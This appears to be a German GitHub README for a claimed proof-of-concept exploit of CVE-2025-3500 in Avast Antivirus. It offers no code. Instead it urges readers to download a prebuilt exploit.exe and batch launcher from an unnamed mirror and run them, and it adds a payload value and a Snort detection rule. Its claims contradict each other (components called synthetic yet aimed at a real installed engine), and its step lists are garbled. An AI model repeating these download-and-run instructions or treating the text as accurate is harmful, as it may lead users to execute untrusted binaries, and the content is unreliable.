chicken3962/cve-2025-3500-pocÖffentlicher Exploit für CVE-2025-3500
Dieses Repository stellt eine Laborumgebung für die Erforschung von CVE-2025-3500 bereit, einer Integer-Überlauf-Schwachstelle (CWE-190) in Avast Antivirus Version 25.1.981.6 auf Windows-Plattformen. Die Schwachstelle entsteht durch unzureichende Ganzzahlvalidierung im Ressourcenzuweisungsmodul der Antiviren-Engine, was zu einem Wraparound bei arithmetischen Operationen führt. Sie kann ausgenutzt werden, um Privilegien von Benutzerkontexten mit niedrigen Rechten (PR:L) auf Systemebene auszuweiten, mit einem Netzwerk-Angriffsvektor (AV:N), niedriger Angriffskomplexität (AC:L) und erforderlicher Benutzerinteraktion (UI:R). Der CVSS-3.1-Basiswert beträgt 9.0 (Kritisch) und beeinträchtigt Vertraulichkeit, Integrität und Verfügbarkeit (alle hoch) aufgrund einer Scope-Änderung (S:C), was möglicherweise eine vollständige Systemkompromittierung ermöglicht.
Hinweis zum Bildungszweck: Dieses Labor dient ausschließlich Bildungs- und Forschungszwecken. Es bietet eine kontrollierte Umgebung. Verwenden Sie es nicht für böswillige Aktivitäten. Alle Komponenten sind synthetisch und nutzen keine realen Systeme aus. Durch die Nutzung dieses Repositorys erklären Sie sich bereit, die Richtlinien für ethisches Hacken und die lokalen Gesetze einzuhalten.
Sicherheitshinweis: Dieses Setup beinhaltet die Ausführung von Code in einer Umgebung. Verwenden Sie immer eine dedizierte virtuelle Maschine. Führen Sie Exploits nicht auf Produktionssystemen aus. Die bereitgestellten Exploit-Artefakte (.exe und .bat) demonstrieren Konzepte – z. B. startet die .bat die .exe, die Daten verarbeitet und sich dann beendet. Isolieren Sie Ihre Laborumgebung, um eine versehentliche Exposition zu verhindern.
Laden Sie das Exploit-Toolkit herunter (ZIP-Datei, die exploit.exe und start-exploit.bat enthält). Diese ZIP-Datei wird auf einem sicheren Spiegelserver gehostet:
Hinweis: Der Hauptexploit ist exploit.exe (eine kompilierte C++-Binärdatei, die den Integer-Überlauf über präparierte API-Aufrufe auslöst). Der Exploit-Launcher ist start-exploit.bat, der exploit.exe mit vordefinierten Argumenten öffnet (z. B. start exploit.exe --target=avast_engine --overflow=wraparound). Entpacken Sie das Archiv in ein lokales Verzeichnis wie C:\lab\exploit.
Umgebung einrichten:
Exploit herunterladen und vorbereiten:
C:\lab\exploit.start-exploit.bat aus, um den Exploit zu starten (er öffnet exploit.exe, das ein präpariertes Netzwerkpaket sendet, um den Überlauf auszulösen).Die Schwachstelle ausnutzen:
exploit.exe aus. Achten Sie in den Systemprotokollen auf Überlaufindikatoren.Verifizieren und bereinigen:
Das Labor erfordert einen Windows-Rechner mit installiertem Avast Antivirus 25.1.981.6. Simulierte Dienste können manuell über die Eingabeaufforderung gestartet werden:
net start AvastSvc (unter der Annahme, dass der Dienst läuft).start-exploit.bat aus, das exploit.exe ausführt. Dies:
{ "resource_alloc": 2147483648 } (löst den Überlauf aus).Technische Details: Der Überlauf tritt in AvastResourceParser::AllocateBuffer(int size) auf, wo size * sizeof(struct) überläuft, wenn size > INT_MAX / sizeof(struct) gilt, was zu Unterzuweisung und Heap-Überlauf führt. Die Ausnutzung nutzt dies für den Aufbau einer ROP-Kette, die auf kernel32.dll abzielt.
alert tcp any any -> any 8080 (msg:"CVE-2025-3500 Attempt"; content:"|00 00 00 80|"; sid:1000001;)).Bei Fragen oder Beiträgen eröffnen Sie ein Issue. Bleiben Sie ethisch!